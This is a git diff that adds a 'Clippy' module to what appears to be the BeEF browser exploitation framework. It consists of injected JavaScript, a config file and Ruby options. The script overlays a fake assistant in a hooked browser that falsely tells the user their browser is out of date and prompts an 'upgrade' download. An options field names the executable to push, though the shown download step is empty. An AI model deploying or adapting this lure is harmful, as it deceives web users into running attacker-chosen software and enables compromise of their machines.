diff --git a/modules/misc/clippy/command.js b/modules/misc/clippy/command.js new file mode 100755 index 000000000..ebc03f06a --- /dev/null +++ b/modules/misc/clippy/command.js @@ -0,0 +1,423 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + +/** + * Heretic Clippy + * @version 1.0.0 + * @author sprky0 + * @modified vt & denden +**/ + +function __clippyboot(run) { + var _run = run; + if (!document.getElementsByTagName("body")[0]) { + setTimeout(function(){__clippyboot(_run);},10); + } else { + _run(); + } +} + +var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}} + +var HelpText = function(_question,reusable) { + this.question = _question; + this.options = []; + this.key = GUID.get(); + this.views = 0; + this.reusable = (reusable === true); + this.timeout = {}; + return this; +} +HelpText.prototype.available = function() { + return (this.views < 1 || this.reusable === true); +} +HelpText.prototype.addResponseURL = function(_text,_url) { + this.options.push({text:_text,URL:_url,rel:"external"}); + return; +} +HelpText.prototype.addResponse = function(_text,_callback) { + this.options.push({text:_text,callback:_callback,rel:"internal"}); + return; +} +HelpText.prototype.addTimeout = function(_timeout,_callback) { + this.timeout = {callback:_callback,timeout:_timeout}; +} +HelpText.prototype.getKey = function() {return this.key;} +HelpText.prototype.toString = function() { + return this.question; +} +HelpText.prototype.toString = function() { + return this.getKey(); +} +HelpText.prototype.toElements = function() { + + this.views++; + + var div = document.createElement('div'); + var p = document.createElement('p'); + p.innerHTML = this.question; + div.appendChild(p); + + for(var i = 0; i < this.options.length; i++) { + var button = document.createElement('button'); + button.innerHTML = this.options[i].text; + if (this.options[i].rel == "internal") + button.onclick = this.options[i].callback; + else { + var _Option = this.options[i]; + button.onclick = function(){ + window.location = _Option.URL; + } + } + div.appendChild(button); + } + + if (this.timeout.callback && typeof(this.timeout.callback) == "function") { + setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500)); + } + + return div; +} + +/* CLIPPY Display */ +var ClippyDisplay = function(options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "102px"; + this.div.style.height = "98px"; + this.div.style.backgroundColor = "transparent"; + this.div.style.position = "absolute"; + this.div.style.bottom = 0; + this.div.style.color = "black"; + this.div.style.right = "60px"; + this.div.style.display = "inline"; + + if (navigator.userAgent.match(/MSIE/)) { + this.div.style.filter = "revealTrans(transition=12,duration=1.8)"; + } + else { + var img = new Image(); + img.src = this.file_dir + "clippy-main.png"; + img.style.position = "relative"; + img.style.display = "block"; + img.id = "clippyid"; + + this.div.appendChild(img); + } + + this.div.style.opacity = (options.visible === false) ? 0 : 1; + + return this; +} +ClippyDisplay.prototype.getElement = function() { + return this.div || null; +} +ClippyDisplay.prototype.fadeIn = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 0; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value += options.step; + + if (navigator.userAgent.match(/MSIE/)) { + imgfile = _clipple.file_dir + "clippy-main.png"; + _clipple.div.filters[0].Apply(); + _clipple.div.innerHTML=""; + _clipple.div.filters[0].Play(); + } + else { + _clipple.div.style.opacity = options.value; + if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); } + } + + return; +} + + +ClippyDisplay.prototype.fadeOut = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 1; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value -= options.step; + _clipple.div.style.opacity = options.value; + + + + if (navigator.userAgent.match(/MSIE/)) { + document.body.removeChild(document.getElementById("pipes")); + } + else { + if (options.remain > 0) { + setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); + } + else{ + document.body.removeChild(document.getElementById("pipes")); + } + } + + return; +} + + +/** SPEECH BUBBLE **/ + +var PopupDisplay = function(o,options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + if (typeof(o) === "string") { + p = document.createElement('p'); + p.innerHTML = o; + o = p; + } + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "130px"; + this.div.style.height = "auto"; + this.div.style.backgroundColor = "transparent"; + this.div.style.color = "black"; + this.div.style.position = "absolute"; + this.div.style.bottom = "85px"; + this.div.style.right = "55px"; + this.div.style.display = "block"; + + var imgTop = new Image(); + imgTop.src = this.file_dir + "clippy-speech-top.png"; + imgTop.style.position = "relative"; + imgTop.style.display = "block"; + this.div.appendChild(imgTop); + + this.message = document.createElement('div'); + this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y"; + this.message.style.padding = "8px"; + this.message.style.font = "11.5px Arial, Verdana, Sans"; + this.message.appendChild(o); + + this.div.appendChild(this.message); + + var imgBottom = new Image(); + imgBottom.src = this.file_dir + "clippy-speech-bottom.png"; + imgBottom.style.position = "relative"; + imgBottom.style.display = "block"; + this.div.appendChild(imgBottom); + + return this; +} +PopupDisplay.prototype.close = function() { + try { + var div = this.getElement(); + if (div != null && div.parentNode) { + div = div.parentNode; + div.removeChild(this.getElement()); + } + } catch(e) { + // alert(e) + } +} +PopupDisplay.prototype.getElement = function() { + return this.div; +} + + +/** CLIPPY controller **/ + +var Clippy = function(_homeSelector,file_dir) { + this.help = {}; + // What options are OK to use as an introductory question? + this.firstlines = []; + this.homebase = this.findHomeBase(_homeSelector); + this.timer = false; + this.file_dir = file_dir; + return this; +} +Clippy.prototype.findHomeBase = function(selector) { + + if (!selector) + selector = "body"; + + var ref = false; + + if (selector.charAt(0)=="#") { + ref = document.getElementById(selector); + } else { + ref = document.getElementsByTagName(selector)[0]; + + var div = document.createElement("div"); + + div.style.zIndex = 9999999; + div.id = "pipes"; + div.style.width = "300px"; + div.style.height = "300px"; + div.style.backgroundColor = "transparent"; + div.style.position = "absolute"; + div.style.bottom = "0"; + div.style.right = "0"; + + ref.appendChild(div); + + return div; + + } + + console.log(ref); + + return ref; +} +Clippy.prototype.run = function(opt) { + + var _c = this; + + this.character = new ClippyDisplay({ + file_dir : this.file_dir, + visible : false + }); + this.homebase.appendChild( this.character.getElement() ); + this.character.fadeIn(1000); + + var Help = new HelpText("<%== @askusertext %>"); + Help.addResponse("Yes", function(){ _c.hahaha(); } ); + Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } ); + this.addHelp(Help,true); + + // initial wait + this.talkLater(); + +} +Clippy.prototype.killClippy = function(){ + + this.closeBubble(); + this.character.fadeOut(1000); +} +Clippy.prototype.hahaha = function() { + + var div = document.createElement("div"); + var _c = this; + div.id = "heehee"; + div.style.display = "none"; + div.innerHTML=""; + + document.body.appendChild(div); + _c.openBubble("<%== @thankyoumessage %>"); + setTimeout(function () { _c.killClippy(); }, 5000); + +} +Clippy.prototype.addHelp = function(_help, is_startphrase) { + this.help[ _help.getKey() ] = _help; + if (is_startphrase) + this.firstlines.push( _help.getKey() ); + + return; +} +Clippy.prototype.sayOne = function(keys,alternative) { + + var found = false, count = 0; + + while(count < keys.length) { + var choice = parseInt( Math.random() * keys.length ); + if( this.canSay( keys[choice]) ) { + this.say(keys[choice]); + return; + } + count ++; + } + + return; +} +Clippy.prototype.canSay = function(key) { + return this.help[ key ].available(); +} +Clippy.prototype.say = function(key,alternative) { + + if (this.timer != false) { + try { + clearTimeout(this.timer); + this.timer = false; + } catch(e) {} + } + + if(typeof(key) !== "string" && key.length) + this.sayOne(key,alternative); + + this.openBubble( this.help[ key ].toElements() ); +} +Clippy.prototype.firstLine = function() { + this.sayOne(this.firstlines); +} +Clippy.prototype.talkLater = function() { + this.closeBubble(); + var _c = this; + this.timer = setTimeout( function() { _c.firstLine(); }, 2000); +} +Clippy.prototype.openBubble = function(_o) { + + if (typeof(_o)=="string") { + var o = document.createElement("p"); + o.innerHTML = _o; + } else { + var o = _o; + } + + if (this.bubble) { + this.bubble.close(); + } + + this.bubble = new PopupDisplay(o,{file_dir:this.file_dir}); + this.homebase.appendChild(this.bubble.getElement()); + +} +Clippy.prototype.closeBubble = function() { + if (this.bubble) { + this.bubble.close(); + } +} + +/* APPLICATION LOGIC: */ +// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;} +// function clippy_main() {var c = new Clippy("homebase","./").run();} +/* GO! */ +// clippy_boot(); + +__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();}); + +}); diff --git a/modules/misc/clippy/config.yaml b/modules/misc/clippy/config.yaml new file mode 100755 index 000000000..89d7861be --- /dev/null +++ b/modules/misc/clippy/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + clippy: + enable: true + category: "Misc" + name: "Clippy" + description: "Brings up a clippy image and asks the user to do stuff." + authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"] + target: + user_notify: ['ALL'] diff --git a/modules/misc/clippy/module.rb b/modules/misc/clippy/module.rb new file mode 100755 index 000000000..1f519bb74 --- /dev/null +++ b/modules/misc/clippy/module.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Clippy < BeEF::Core::Command + + def self.options + return [ + {'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'}, + {'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'}, + {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'}, + {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'}, + {'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'} + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end